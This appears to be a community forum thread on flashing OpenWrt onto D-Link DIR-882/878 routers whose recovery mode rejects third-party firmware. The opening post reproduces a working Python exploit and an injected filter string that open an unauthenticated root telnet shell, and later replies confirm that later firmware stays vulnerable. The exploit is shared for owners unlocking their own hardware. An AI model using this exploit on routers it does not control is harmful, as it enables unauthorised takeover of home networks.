D-LINK recovery mode (DIR-882 DIR-878 DIR-867)

Notes on workaround for Recovery Mode not flashing openwrt firmware. Added to Wiki
==== Recovery Mode not accepting openwrt/3rd party firmware====
Nov 2020
I was unable to get the Recovery Mode to accept the openwrt-factory firmware snapshot (or any other non-D-LINK firmware image eg dd-wrt).

Once the recovery page would load once, it would go offline. Same with using the curl command. Trying to load the page a second time would never work.
Uploading firmware image with curl would work if it was the first request on the recovery mode interface. But with any non D-LINK firmware, it would not flash it, and become unresponsive.

However, unencrypted D-LINK firmware would flash successfully in the recovery mode. There are at least two versions of unencrypted firmware for the DIR-882.
The earliest firmware, DIR-882-US_REVA_FIRMWARE_v1.00B07.zip, as well as one in DIR-882_REVA_FIRMWARE_PATCH_v1.02B02_BETA.zip.

Using DIR-882-US_REVA_FIRMWARE_v1.00B07.bin allowed to open a telnetd server on the router using a known vulnerability. This may work on later firmware versions as well, untested which ones.

Once the telnet connection is made, the router's stock web interface can be used to upload the openwrt firmware. It will say the firmware failed/invalid, but will leave a copy in /tmp. This can then be flashed from within the telnet session using the stock mtd_write utility.

  • Try to enable the telnetd service using the vulnerability exploit first. If that doesn't work, downgrade to a known vulnerable version.
    • Of note, be sure the have connected computers IP in the 192.168.0.X/24 range while using stock firmware or recovery mode, and 192.168.0.X/24 once finished to connect to OpenWrt.
  • enable telnetd service.
    • using information and script from https://wzt.ac.cn/2020/08/28/bypass_auth/
    • Either use the web interface to save the following string into the "Web Filter". (Untested, but this is the effect of the script.)
      r"1.com/&$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'0.0.0.0')&"
    • or save this script as DIR-878.py and run it as eg #python DIR-878.py 192.168.0.1

import requests
import sys
import os

telnet_payload = r"1.com/&$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'0.0.0.0')&"
burp0_cookies = {"uid": "CataLpa"}
burp0_headers = {"Accept": "text/xml", \
                 "SOAPACTION": "\"http://purenetworks.com/HNAP1/SetWebFilterSettings\"", \
                 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36", \
                 "Content-Type": "text/xml", \
                 "Accept-Encoding": "gzip, deflate", \
                 "Accept-Language": "zh-CN,zh;q=0.9", \
                 "Connection": "close"}

burp0_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Body>\n<SetWebFilterSettings>\n\t<WebFilterMethod>DENY</WebFilterMethod>\n\t<NumberOfEntry>1</NumberOfEntry>\n\t<WebFilterURLs>\n\t\t<string>" + telnet_payload + "</string>\n\t</WebFilterURLs>\n</SetWebFilterSettings>\n</soap:Body>\n</soap:Envelope>"

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("[*] Usage: python DIR-878.py <ip>")
        exit(0)
    IP = sys.argv[1]
    print("[*] Send payload to " + IP)
    burp0_url = "http://" + IP + ":80/HNAP1/?Login.html"
    try:
        res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        if "200" in str(res.status_code):
            print("[*] Exploit success!")
            print("[!] telnet " + IP)
            exit(0)
        print("[*] Exploit failed. Bug fixed :(")
        exit(0)
    except Exception as e:
        print("[-] Exploit failed.")
        print(e)


- If not successful, download and extract unencrypted stock firmware
- Boot router into recovery mode, then flash vulnerable stock unencrypted firmware
fwfile=DIR-882_A1_FW100B07.bin curl -v -i -F "firmware=@${fwfile}" 192.168.0.1
- reboot
- retry exploit

  • connect by telnet, eg #telnet 192.168.0.1
  • upload openwrt-factory image, eg. openwrt-ramips-mt7621-dlink_dir-882-a1-squashfs-factory.bin through the stock firmware's update firmware page
  • in telnet session, run mtd_write -r -w write /tmp/firmware.img Kernel
    *(this was determined from examining the extracted stock firmware, eg. "#strings /bin/prog-cgi |grep mtd_write"
  • The openwrt firmware should flash and the system reboot into OpenWrt!
4 Likes

Thank you very much for the guide. :slightly_smiling_face:
I have a DIR-882 and I can confirm that the fw 1.11 is still exploitable using the python script.
However, after the "failed upgrade" I didn't find the openwrt factory file in the /tmp folder, but I succeeded copying it in a usb disk and the flashing using that file. Eg:

mtd_write -r -w write /mnt/Netac_OnlyDisk_91921/openwrt-ramips-mt7621-dlink_dir-882-a1-squashfs-factory.bin Kernel

This worked on DIR-2660 with the oldest FW available (FW 1.00 RevA1) at least up to the point of managing to login and having access to the mtd_write. In my case, the stock firmware also had wget, so it was easily possible to download the openwrt image to the router.

Also, I could access the page http://<router_address>/WebsiteFilter.html (which is not very visible from the stock gui) and add a filter similar to:

somesite.com/&$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'192.168.0.1')&

which would do the trick.

There is an easy, but strange, solution to get it to load into recovery...

After releasing the reset button in recovery mode, browse to http://192.168.0.1. Browse for the firmware, but DO NOT click "Upload." At this point, leave the browser window open, but put the router in recover mode again by holding down the reset button, power off, power on, wait 5 seconds and release the reset button... NOW click "Upload" in the browser. Firmware load will continue as expected.

2 Likes

For my DIR-878, I can not confirm this procedure. I tried it with the latest Manjaro and Firefox and also with the curl method. I found a good explanation for the problem here: [https://oldwiki.archive.openwrt.org/toh/d-link/dir-615#browser.issues]
Using the pre-historic portable app of Firefox 13 on the latest Windows 21H1, I was successfully able to flash OpenWRT 21.02.
I think this information should also be added in the wiki under the topic D-Link Recovery GUI Troubleshooting

this is not the same for all devices
the dir-878 is fine with windows browsersI use the current firefox
"the same firefox won't work on linux"
as the same for 1st logging into openwrt yon need to be in private mode
but my DIR-825 need windows xp to upload it' firmware in recover mode

hopefully soon you can just flash it from the dlink firmware

1 Like

To update this old thread slightly.

Just bought a 2nd DIR-882, wanted a router capable of 866Mbps 802.11ac which ran OpenWRT well, didn't cost the earth and was available more or less immediately. I have a DIR-882 which is running just fine on 21.02.1 and getting another one seemed to be a good option.

I forgot 2 things:

  1. some people have issues on 5GHz, thankfully so far I'm not one of them but we'll see as I will be deploying the new one with a completely different set of clients

  2. they are a bit of a pain to get OpenWRT installed.

The new one arrived with 1.11 firmware (oddly, an older version than the one I bought in Jan '22 which had 1.20), I started with the recovery console as before but got nowhere fast

  • As expected trying to upload a firmware image failed with "nothing happening".
  • digging a bit further the HTTP server for the recovery mode will respond to just one HTTP request - after that it won't respond to any more SYN packets
    • that's why dirkomatic's hack works
    • it's also why the curl command has to be the first request as noted by tmgoblin
    • it means that the older explanation regarding HTTP 1.0 vs 1.1 does not apply to the DIR-882, forcing curl to HTTP 1.0 is unlikely to help.
  • even resetting the recovery GUI between browsing for the firmware image and clicking upload fails with an openwrt image, although the image does, at least, upload
  • using curl appeared to work but was back to v1.11 firmware when I reboooted :frowning:

However I can confirm

  • 1.11 is still vulnerable to the telnetd hack
  • it does not leave the firmware image in /tmp
  • BUT, does have wget built in to BusyBox so you can download a firmware image from a web server as an alternative to using a USB stick.

So the quickest, most hassle free route to installing OpenWRT is probbaly

  • downgrade to 1.11 (haven't tried from later versions but presumably can be done from the standard web GUI; 1.11 firmware can still be downloaded from the D-Link support website)
  • run the python exploit to enable telnetd and log in as root.
  • use wget or a USB stick to get the OpenWRT factory image downloaded onto the router
  • then write the image to flash with mtd_write, as above.

kind of old thread, but there is more helpful content on other threads to these issues.
I am adding some cross-linking, in case someone just found this one thread:

same issue on D-Link, on slightly different device during discussion:

There were some more threads for this topic. I remember there was yet another thread that explained something about headers and probably „http 100 continue“ not being properly implemented in D-Link recovery room partitions of some D-Link devices, but I cannot seem to find the thread right now.

The described fix might help as well here, yet the main cause of the issue on 2660 might be likely different. If it is the other cause, there are also alternative easier solutions available:
as far as I remember, newer 2660 A1 versions and all (?) of A2 have an additional problem. Their flashing via emergency room feature might not fail due to the previously mentioned http problem, but because their emergency room partition firmware version expects an additional crypto-signed header, which has not been present in openWRT images before v22. So flashing a v22 or later OpenWRT image can avoid running into this particular problem, if its due to the formerly missing headef. There are also some other threads regarding this issue. Maybe less and less relevant, once OpenWRT v22 or newer are commonly used.

here are some versions for the DIR-878-A1 & DIR-882-A1 flashable from the d-link firmware
http://luckys.onmypc.net/openwrt/DIR-882/openwrt-21.02.2-ramips-mt7621-dlink_dir-882-a1-squashfs-factory-enc.bin
http://luckys.onmypc.net/openwrt/DIR-878/openwrt-21.02.2-ramips-mt7621-dlink_dir-878-a1-squashfs-factory-enc.bin
the PR that would have made this possible in openwrt

1 Like

So, to throw another monkey wrench into this topic, I had the same issue with the dlink recovery page not letting me upload firmware on a DIR-3040-A1. The fix I found was to copy the factory.bin file to a windows machine and use firefox to connect to the 192.168.0.1 address (using a static IP for the wired connection using the "Network and Sharing" menu in the control panel). From there I browsed for the file and uploaded as we all expect to happen by default. So maybe the issue is something to do with using a browser in linux? Anyway, I was able to successfully flash 3 DIR-3040-A1 devices using this method.

NOTE: The firmware version on the DIR-3040-A1s was v1.13. I had issues getting the recovery page to load on v1.11. v1.20 seemed to also have an issue with the recovery page, but I didn't dig too deeply. I may have been running into a cookie or caching problem that just made it seem like v1.11 and v1.20 were not loading the page. I contacted Dlink and let them know about this edge case, so hopefully they'll look into it.

EDIT: Lo and behold, I find a forum for the DIR-2660 where people found the same solution at the bottom of the forum. DIR-2660 Failing to Flash same as the one above.

To update my previous update :slight_smile:

I bought another of these beasts - currently about the cheapest "decent" router that is supported by OpenWrt - at least that Amazon UK sell.

Firmware version 1.20 is still vulnerable to the telnet exploit, so you might not even have to downgrade to use that route to get to a shell.

wget doesn't do https so fails to download the current firmware image from downloads.openwrt.org but curl is also available which works perfectly (apart from not exiting, but the download itself is OK).

The basic telnetd hack worked for me. However, I was not getting an image in /tmp when uploading using the stock web page as described above. However, I found a curl binary, so all I had to do was plug in a cable to the internet port and run curl and download the image, redirecting to a file. I checked the file size, and it was correct. So, I flashed it using the above directions, and it worked. This was for an A1. I wonder if this will work on an A2?

Thanks all,

Mike

Hi Lucky,

I'm a newbie here, can I use the firmware you provided for the DIR-878?? I'm currently using DIR-878 HW:A1 FW:1.30, is it safe for my device?

Can I directly use the firmware that you provide via the current Dlink upgrade dashboard? or do I have to go through recovery mode?

Hi mudza09
there is always risk
and you should always have another way to access the internet
so plan for it to fail before it fails
but really it should be fine I don't think you are going to brick you router

currently only the snapshots will flash via the normal d-link firmware upgrade interface
but as the snapshots don't have luci in them it's not the best to start with
I don't think it should be you first interaction with openwrt

with v23 and under you will need to flash via the recovery interface
I do think this is good practice as it's showing you how to recover the device as it's the same
but if you really need a OEM web Flashable file you can use this
http://luckys.onmypc.net/openwrt/DIR-878/openwrt-21.02.2-ramips-mt7621-dlink_dir-878-a1-squashfs-factory-enc.bin
then your next step is to sysupgrade to a current version so download that first and upgrade with keeping settings

So in the link you provided, does the firmware include luci? and can I upgrade from my current firmware version 1.30?

it's a V21 that's encrypted so it will flash
but it's an older version so get the newer one as well
I'd go with v23
so install the v21 flashable file then sysupgrade to it before bothering to setup your internet

OK, I'll try it, and let you know the updates here

just want to let you know that I have successfully installed openwrt on my dlink dir-878. Thank you very much @Lucky1 for help and guidance

1 Like

FYI V23.05.2 is the latest
glad you got it all working :slight_smile: